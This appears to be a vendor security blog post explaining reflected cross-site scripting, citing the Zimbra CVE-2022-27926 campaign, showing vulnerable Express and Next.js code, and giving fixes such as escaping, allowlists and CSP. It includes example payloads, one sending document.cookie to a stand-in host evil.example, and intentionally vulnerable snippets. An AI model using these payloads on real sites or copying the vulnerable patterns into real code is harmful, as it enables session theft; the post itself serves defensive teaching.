All posts
VibeZero Team8 min read

Reflected XSS, explained

The payload lives in the URL, not your database. How an APT used it against NATO webmail, why the browser stopped helping in 2019, and what actually works.

  • security
  • vibe coding
  • engineering

Reflected cross-site scripting is the version where your server takes something out of the request and writes it straight back into the response. The search page that says “no results for <term>”. The error page that repeats the message. The 404 that prints the path it could not find.

Nothing is saved. The payload exists only in the URL, and it only runs for someone who follows that URL. That property is why reflected XSS gets treated as the mild one, and it is the wrong conclusion to draw, because “requires a click” is not a defense against people whose entire profession is getting a click.

Same identifier as its stored sibling, CWE-79, same OWASP category, A03:2021 Injection, different delivery.

Someone solved the delivery problem

In March 2023 Proofpoint published an analysis of TA473, also tracked as Winter Vivern, exploiting CVE-2022-27926 against webmail portals belonging to NATO-aligned governments in Europe.

CVE-2022-27926 is one sentence long: a reflected XSS in the /public/launchNewWindow.jsp component of Zimbra Collaboration 9.0, reachable by unauthenticated attackers through request parameters. That is the entire vulnerability. No memory corruption, no chain, no zero day. It had been patched in April 2022.

The operation around it is what matters:

  1. Scan the internet for unpatched Zimbra portals belonging to interesting organizations.
  2. Send a phishing email to a person at one of them, containing a link to their own webmail portal, on their own domain, which is exactly where a webmail link is supposed to point.
  3. The link carries the payload in a parameter. The JavaScript runs on the portal’s origin, in the victim’s authenticated session, and lifts usernames, passwords and tokens.

The reason “it needs a click” fails as a mitigation is visible in step two. The link is to the real host. There is no lookalike domain to notice, no TLS warning, no unfamiliar login page. Every piece of advice a security awareness training gives an employee says this link is the safe kind.

And it is not a legacy problem. Palo Alto Networks published CVE-2025-0133 for a reflected XSS in the GlobalProtect gateway and portal, with the same shape: a crafted link executes script in the user’s browser, in the context of a device people log into with corporate credentials.

The browser used to help, and stopped

If you have seen X-XSS-Protection: 1; mode=block in a header checklist, it is worth knowing what it does today, which is nothing.

Chrome shipped a filter called the XSS Auditor that tried to spot a request parameter appearing verbatim in the response as script, and block the page. Google removed it in Chrome 78, released in October 2019, for two reasons that are both instructive. Bypasses were plentiful, because the filter had to model the parser exactly and the parser is enormous. And the filter itself introduced cross-site information leaks: an attacker could use whether a page got blocked as an oracle about the page’s content.

Firefox never implemented it. Edge removed its own filter. No current browser gives you protection in exchange for that header, so the only two defensible values are absent, or X-XSS-Protection: 0 when a legacy checklist insists on the header. 0 is the value OWASP recommends, and the reason is the leak above: where an old filter is still active, having it enabled is worse than having it off.

The shapes that produce it

Reflected XSS is platform-agnostic in a way the RLS failures are not. It depends on how your app renders a parameter, not on who provisioned your database, so the same four shapes turn up in a Bolt.new project and a Replit one alike wherever something of yours renders the response: an Express route, a Next.js page, an Edge Function, a template.

One caveat that decides which post you need. If your app is a pure single page bundle with no server of yours in the path, which is a common generated shape, the parameter is read in the browser and the same bug is a DOM XSS instead. Same payload, same URL, different sink and a different fix.

A template string in a response. Every framework has the same hole in the same place:

// Vulnerable. One parameter, straight into markup.
app.get("/search", (req, res) => {
  res.send(`<h1>Results for ${req.query.q}</h1>`);
});

/search?q=<img src=x onerror=fetch('https://evil.example/'+document.cookie)> and the session is gone, assuming the cookie is readable, which is a separate mistake worth checking with our cookie security checker.

An error page that echoes. The most common one in generated code, because the model wrote a friendly error surface:

// Vulnerable. The message came from the query string so the redirect could carry it.
res.status(400).send(`<p class="error">${req.query.message}</p>`);

This is closely related to verbose error messages, and the two usually ship together, because both come from the same instinct to be helpful with whatever the request contained.

A framework escape hatch on a search parameter. React escapes by default, so the vulnerable version has to be written on purpose, and it regularly is, because the feature request was “highlight the search term in the results”:

// Next.js. searchParams is attacker-controlled, and this renders it as markup.
export default function Page({ searchParams }) {
  return <p dangerouslySetInnerHTML={{ __html: `Results for <b>${searchParams.q}</b>` }} />;
}

The fix is to keep the value as text and let the component build the markup around it: <p>Results for <b>{searchParams.q}</b></p>. That is not a compromise, it is the same rendered output without the parser ever being handed a user string.

An attribute or a URL. Angle brackets are not required. A value reflected into href or src gives you javascript: as a payload, and a value reflected into a <script> block gives you a JavaScript string context where HTML escaping does nothing:

<!-- Vulnerable even with HTML entities applied to userName -->
<script>const user = "{{ userName }}";</script>

A ";alert(1);// closes the string and continues in code. Data that has to reach JavaScript should be serialized as JSON into a data attribute or a <script type="application/json"> block and read from there, never interpolated into executable source.

Fixing it

Escape at the point of output, by context. Frameworks that autoescape do this correctly for the HTML body case. Your job is to stop reaching past them, which means treating every dangerouslySetInnerHTML, v-html, {{{ triple-brace }}}, | safe and res.send of a template literal as a line that needs a reason.

Validate the parameter’s shape, when it has one. A reflected value that is supposed to be a page number, a sort order, or an id has a definition, and a definition rejects payloads for free:

const SORT = new Set(["newest", "oldest", "popular"]);
const sort = SORT.has(req.query.sort) ? req.query.sort : "newest";

This is not a general XSS defense, and it is the right first move on every parameter that is a choice rather than prose. An allowlist of three strings cannot be bypassed by an encoding trick, because nothing is being decoded.

Ship a Content Security Policy without 'unsafe-inline'. This is the control that survives your own mistakes, because it does not care whether a reflection got escaped correctly. Injected inline script simply does not execute:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{per-response}'; object-src 'none'; base-uri 'none'

base-uri 'none' is in there for a specific reason: without it, an injected <base href="https://evil.example/"> redirects every relative script URL on the page, which turns a markup injection back into script execution even under a script-src 'self' policy.

Our free scanner grades this as four separate checks, no-csp, csp-unsafe-inline, csp-unsafe-eval and csp-wildcard, and the split is the point. A policy that keeps 'unsafe-inline' in script-src passes the first check and fails the one that decides whether reflected XSS is stopped. You can see what your own site sends with the CSP validator.

Where it hides after the search page

  • The 404 handler, if it prints the requested path.
  • Redirect targets, where the value is reflected into a <meta refresh> or an anchor. That is one step from open redirect, and the two chain: an open redirect on a trusted domain makes the phishing link in the Zimbra campaign look even better.
  • JSON endpoints served as text/html. A response that echoes input and omits Content-Type: application/json plus X-Content-Type-Options: nosniff can be sniffed into HTML by the browser and rendered.
  • File upload and download names, reflected into a page that lists them.
  • Anything the login flow carries: ?error=, ?next=, ?email=. These are reflected on the one page where a fake login form is most convincing. The payoff is the same one the Roundcube attackers took in stored XSS, a counterfeit login form inside the real interface, reached here through a link instead of through a saved message.

The test

Put a payload in every parameter of every page and watch what comes back. The payload does not need to be exotic:

curl -s "https://example.com/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" | grep -o "<img src=x[^>]*>"

If your input comes back as markup rather than as &lt;img, you have it. Do the same for the attribute case with " autofocus onfocus=alert(1) x=" and for the URL case with javascript:alert(1), because a fix for one of the three contexts routinely leaves the other two open.

Then read the checks that a scanner runs against a deployed URL as what they are: evidence about the layer the browser enforces, not about your code. Static analysis finds the reflection, a header check finds the missing policy, and neither of them tells you whether the two combine into an exploit. That is why the release decision reads code and running app as separate layers rather than averaging them into one number.

Why the mild one is not mild

The reason reflected XSS keeps appearing in state-sponsored campaigns rather than only in bug bounty reports is that it is the cheapest way to get code running on a domain the target trusts. Everything else the attacker wants, session theft, a fake login form, an API call as the user, follows from that one property, and none of it requires persistence anywhere in your system.

A payload that lives in a link is not a smaller problem than one that lives in your database. It is the same problem with a different distribution channel, and somebody else runs that channel very well.

ShareXLinkedIn